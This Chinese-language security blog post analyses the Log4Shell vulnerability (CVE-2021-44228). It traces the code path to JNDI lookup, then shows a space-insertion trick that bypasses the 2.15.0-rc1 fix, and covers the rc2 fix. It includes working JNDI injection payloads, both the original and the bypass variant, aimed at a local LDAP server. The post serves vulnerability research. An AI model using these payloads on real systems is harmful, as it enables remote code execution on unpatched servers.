0x00 介绍
Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告
分配CVE编号:CVE-2021-44228
CVSS评分:10.0(最高只能10分)
POC比较简单
public static void main(String[] args) throws Exception {logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
}
POC虽然简单,但是搭建LDAP环境显得有点复杂,marshalsec方式需要自行编译class并搭建HTTP服务端
java -jar LDAPKit.jar [命令]
截图如下
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8d4fe34cbd114d0f81629915feba971d~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0114.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0114.png"" style="margin: auto" />
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0x01 RCE分析
首先来看RCE是怎样的原理,先来一段又臭又长的流程分析
看看从logger.error到JndiLookup.lookup中间经历了些什么
从logger.error()层层跟到AbstractLogger.tryLogMessage.log方法
private void tryLogMessage(final String fqcn, final StackTraceElement location, final Level level, final Marker marker, final Message message, final Throwable throwable) {try {log(level, marker, fqcn, location, message, throwable);} catch (final Exception e) {handleLogMessageException(e, fqcn, message);}
}
不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法
@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location, final Message message, final Throwable throwable) {final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();if (strategy instanceof LocationAwareReliabilityStrategy) {// 触发点((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,message, throwable);} else {strategy.log(this, getName(), fqcn, marker, level, message, throwable);}
}
跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log
@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,final StackTraceElement location, final Marker marker, final Level level, final Message data,final Throwable t) {loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}
进入LoggerConfig.log方法
@PerformanceSensitive("allocation")public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,final Level level, final Message data, final Throwable t) {// 无需关心的代码...try {// 跟入log(logEvent, LoggerConfigPredicate.ALL);} finally {ReusableLogEventFactory.release(logEvent);}}
进入LoggerConfig另一处重载log方法
protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {if (!isFiltered(event)) {// 跟入processLogEvent(event, predicate);}
}
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {event.setIncludeLocation(isIncludeLocation());if (predicate.allow(this)) {// 关键点callAppenders(event);}logParent(event, predicate);
}
可以看到调用appender.control的callAppender方法
@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {final AppenderControl[] controls = appenders.get();//noinspection ForLoopReplaceableByForEachfor (int i = 0; i < controls.length; i++) {controls[i].callAppender(event);}
}
层层跟入到AppenderControl.tryCallAppender方法
private void callAppender0(final LogEvent event) {ensureAppenderStarted();if (!isFilteredByAppender(event)) {// 跟入tryCallAppender(event);}
}
private void tryCallAppender(final LogEvent event) {try {// 跟入appender.append(event);} catch (final RuntimeException error) {handleAppenderError(event, error);} catch (final Exception error) {handleAppenderError(event, new AppenderLoggingException(error));}
}
进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法
protected void directEncodeEvent(final LogEvent event) {getLayout().encode(event, manager);if (this.immediateFlush || event.isEndOfBatch()) {manager.flush();}
}
关注其中的encode方法跟入到PatternLayout.encode方法
@Override
public void encode(final LogEvent event, final ByteBufferDestination destination) {if (!(eventSerializer instanceof Serializer2)) {super.encode(event, destination);return;}final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());final Encoder<StringBuilder> encoder = getStringBuilderEncoder();encoder.encode(text, destination);trimToMaxSize(text);
}
不用关心多余的代码,这里触发点在toText方法
private StringBuilder toText(final Serializer2 serializer, final LogEvent event, final StringBuilder destination) {return serializer.toSerializable(event, destination);
}
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {final int len = formatters.length;for (int i = 0; i < len; i++) {// 发现其中某一处format方法触发漏洞formatters[i].format(event, buffer);}if (replace != null) {String str = buffer.toString();str = replace.format(str);buffer.setLength(0);buffer.append(str);}return buffer;
}
这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3eefeb7910374f8b8563c0108f4d2410~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0115.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0115.png"" style="margin: auto" />
跟入看到调用了Converter相关的方法
public void format(final LogEvent event, final StringBuilder buf) {if (skipFormattingInfo) {converter.format(event, buf);} else {formatWithInfo(event, buf);}
}
不难看出每个formatter和converter为了构造日志的每一部分,这里在构造真正的日志信息字符串部分
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9949610e0d1943c294fce3ac9252f3c3~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0116.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0116.png"" style="margin: auto" />
跟入MessagePatternConverter.format方法,看到核心的部分
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {final Message msg = event.getMessage();if (msg instanceof StringBuilderFormattable) {final boolean doRender = textRenderer != null;final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;final int offset = workingBuilder.length();if (msg instanceof MultiFormatStringBuilderFormattable) {((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);} else {((StringBuilderFormattable) msg).formatTo(workingBuilder);}if (config != null && !noLookups) {for (int i = offset; i < workingBuilder.length() - 1; i++) {// 是否以${开头if (workingBuilder.charAt(i) == '/pre> && workingBuilder.charAt(i + 1) == '{') {// 这个value是:${jndi:ldap://127.0.0.1:1389/badClassName}final String value = workingBuilder.substring(offset, workingBuilder.length());workingBuilder.setLength(offset);// 跟入replace方法workingBuilder.append(config.getStrSubstitutor().replace(event, value));}}}if (doRender) {textRenderer.render(workingBuilder, toAppendTo);}return;}if (msg != null) {String result;if (msg instanceof MultiformatMessage) {result = ((MultiformatMessage) msg).getFormattedMessage(formats);} else {result = msg.getFormattedMessage();}if (result != null) {toAppendTo.append(config != null && result.contains("${")? config.getStrSubstitutor().replace(event, result) : result);} else {toAppendTo.append("null");}}
}
进入StrSubstitutor.replace方法
public String replace(final LogEvent event, final String source) {if (source == null) {return null;}final StringBuilder buf = new StringBuilder(source);// 跟入if (!substitute(event, buf, 0, source.length())) {return source;}return buf.toString();
}
跟入StrSubstitutor.subtute方法,存在递归,逻辑较长
主要作用是递归处理日志输入,转为对应的输出
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {...substitute(event, bufName, 0, bufName.length());...String varValue = resolveVariable(event, varName, buf, startPos, endPos);...int change = substitute(event, buf, startPos, varLen, priorVariables);
}
其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码
logger.error("error_message:" + info);
黑客的恶意输入有可能进入info变量导致这里变成
logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/e129a625161c4b7589c27f57a0e13c1c~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0118.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0118.png"" style="margin: auto" />
经过调试确认了关键方法resolveVariable
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {final StrLookup resolver = getVariableResolver();if (resolver == null) {return null;}// 进入return resolver.lookup(event, variableName);
}
跟入这里的lookup可以看到很多师傅们截图的方法
@Override
public String lookup(final LogEvent event, String var) {if (var == null) {return null;}final int prefixPos = var.indexOf(PREFIX_SEPARATOR);if (prefixPos >= 0) {final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);final String name = var.substring(prefixPos + 1);// 关键final StrLookup lookup = strLookupMap.get(prefix);if (lookup instanceof ConfigurationAware) {((ConfigurationAware) lookup).setConfiguration(configuration);}String value = null;if (lookup != null) {// 这里的name是:ldap://127.0.0.1:1389/badClassNamevalue = event == null ? lookup.lookup(name) : lookup.lookup(event, name);}if (value != null) {return value;}var = var.substring(prefixPos + 1);}if (defaultLookup != null) {return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);}return null;
}
这里的strLookupMap中包含了多种Lookup对象
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/83e346c788a442999448b409c5af3b26~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0117.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0117.png"" style="margin: auto" />
类似地,可以这样用
logger.error("${java:runtime}");
// 打印
00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation
跟入JndiLookup.lookup
@Override
public String lookup(final LogEvent event, final String key) {if (key == null) {return null;}final String jndiName = convertJndiName(key);try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {// 跟入lookupreturn Objects.toString(jndiManager.lookup(jndiName), null);} catch (final NamingException e) {LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);return null;}
}
最后触发点JndiManager.lookup
@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {return (T) this.context.lookup(name);
}
0x03 RC1修复绕过
修复版本2.15.0-rc1
跟了下流程发现到PatternLayout.toSerializable方法发生了变化
不过这里的变化没有什么影响,其中的formatters属性的变化导致了${}不会被处理
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {for (PatternFormatter formatter : formatters) {formatter.format(event, buffer);}return buffer;
}
这里某个formatter包含了MessagePatternConverter
在修复后变成了MessagePatternConverter.SimplePatternConverter类
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d5da06851cb9449c940586521cdac42f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0119.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0119.png"" style="margin: auto" />
可以发现在这个类中变成了直接拼接字符串的操作,不去判断${}这种情况
private static final class SimpleMessagePatternConverter extends MessagePatternConverter {private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();@Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) {Message msg = event.getMessage();// 直接拼接字符串if (msg instanceof StringBuilderFormattable) {((StringBuilderFormattable) msg).formatTo(toAppendTo);} else if (msg != null) {toAppendTo.append(msg.getFormattedMessage());}}
}
注意到另一个子类LookupMessagePatternConverter
如果Converter被设置为该类,那么会继续进行${}的处理
private static final class LookupMessagePatternConverter extends MessagePatternConverter {private final MessagePatternConverter delegate;private final Configuration config;LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {this.delegate = delegate;this.config = config;}@Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) {int start = toAppendTo.length();delegate.format(event, toAppendTo);// 判断${}int indexOfSubstitution = toAppendTo.indexOf("${", start);if (indexOfSubstitution >= 0) {config.getStrSubstitutor()// 进入了上文的流程.replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);}}
}
具体需要设置为哪一个子类取决于用户的配置
private static final String LOOKUPS = "lookups";
private static final String NOLOOKUPS = "nolookups";
public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {boolean lookups = loadLookups(options);String[] formats = withoutLookupOptions(options);TextRenderer textRenderer = loadMessageRenderer(formats);// 默认不配置lookup功能MessagePatternConverter result = formats == null || formats.length == 0? SimpleMessagePatternConverter.INSTANCE: new FormattedMessagePatternConverter(formats);if (lookups && config != null) {// 只有用户进行配置才会触发result = new LookupMessagePatternConverter(result, config);}if (textRenderer != null) {result = new RenderingPatternConverter(result, textRenderer);}return result;
}
于是想办法开启lookup功能分析后续有没有限制
final Configuration config = new DefaultConfigurationBuilder().build(true);
// 配置开启lookup功能
final MessagePatternConverter converter =MessagePatternConverter.newInstance(config, new String[] {"lookups"});
final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");
final LogEvent event = Log4jLogEvent.newBuilder().setLoggerName("MyLogger").setLevel(Level.DEBUG).setMessage(msg).build();
final StringBuilder sb = new StringBuilder();
converter.format(event, sb);
System.out.println(sb);
成功开启lookups功能,调用LookupMessagePatternConverter.fomat方法
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3b1fe67b12194a02994c555d053842a6~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0120.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0120.png"" style="margin: auto" />
递归处理等过程均没有变化,最后JndiManager.lookup触发漏洞的地方进行了修改
public synchronized <T> T lookup(final String name) throws NamingException {try {URI uri = new URI(name);if (uri.getScheme() != null) {// 允许的协议白名单if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());return null;}if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {// 允许的host白名单if (!allowedHosts.contains(uri.getHost())) {LOGGER.warn("Attempt to access ldap server not in allowed list");return null;}Attributes attributes = this.context.getAttributes(name);if (attributes != null) {Map<String, Attribute> attributeMap = new HashMap<>();NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();while (enumeration.hasMore()) {Attribute attribute = enumeration.next();attributeMap.put(attribute.getID(), attribute);}Attribute classNameAttr = attributeMap.get(CLASS_NAME);// 参考下图我们这种Payload不存在javaSerializedData头// 所以不会进入类白名单判断if (attributeMap.get(SERIALIZED_DATA) != null) {if (classNameAttr != null) {// 类名白名单String className = classNameAttr.get().toString();if (!allowedClasses.contains(className)) {LOGGER.warn("Deserialization of {} is not allowed", className);return null;}} else {LOGGER.warn("No class name provided for {}", name);return null;}} else if (attributeMap.get(REFERENCE_ADDRESS) != null || attributeMap.get(OBJECT_FACTORY) != null) {// 不允许REFERENCE这种加载对象的方式LOGGER.warn("Referenceable class is not allowed for {}", name);return null;}}}}} catch (URISyntaxException ex) {// This is OK.}return (T) this.context.lookup(name);
}
看看实际运行中,这几个白名单是怎样的
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/21528e4b58d2458db96429843cd7679e~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0121.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0121.png"" style="margin: auto" />
默认的协议是:java,ldap,ldaps
默认数据类型是八大基本数据类型
默认的Host白名单是localhost
实际上拦住Payload是在最后一处OBJECT_FACTORY判断
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/00bfd161c24e43fcb29ff2e7459abec9~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0122.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0122.png"" style="margin: auto" />
由于RCE一定需要加载远程对象,那么避免不了javaFactory属性(或者有一些其他思路,笔者刚做Java安全不了解)
看起来无懈可击,然而这里有一处细节问题
public synchronized <T> T lookup(final String name) throws NamingException {try {URI uri = new URI(name);...} catch (URISyntaxException ex) {// This is OK.}return (T) this.context.lookup(name);
}
如果发生了URISyntaxException异常会直接this.context.lookup
能否想办法让new URI(name);时候报错但name传入context.lookup(name);时正常
经过测试发现URI中不进行URL编码会报这个错,加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}(不对空格做编码导致异常,但是lookup时候会去掉这个空格)
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d0454c1ff8d4442c89c44ad201f598d8~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0123.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0123.png"" style="margin: auto" />
成功RCE(需要用户开启lookup功能的基础上才可以)
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9ada69bff10c4dcdbdedd79deb0c8f9f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0124.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0124.png"" style="margin: auto" />
0x04 RC2修复
RC2的修复方案是直接return,有效解决了上文的绕过
try{
} catch (URISyntaxException ex) {LOGGER.warn("Invalid JNDI URI - {}", name);return null;
}
return (T) this.context.lookup(name);
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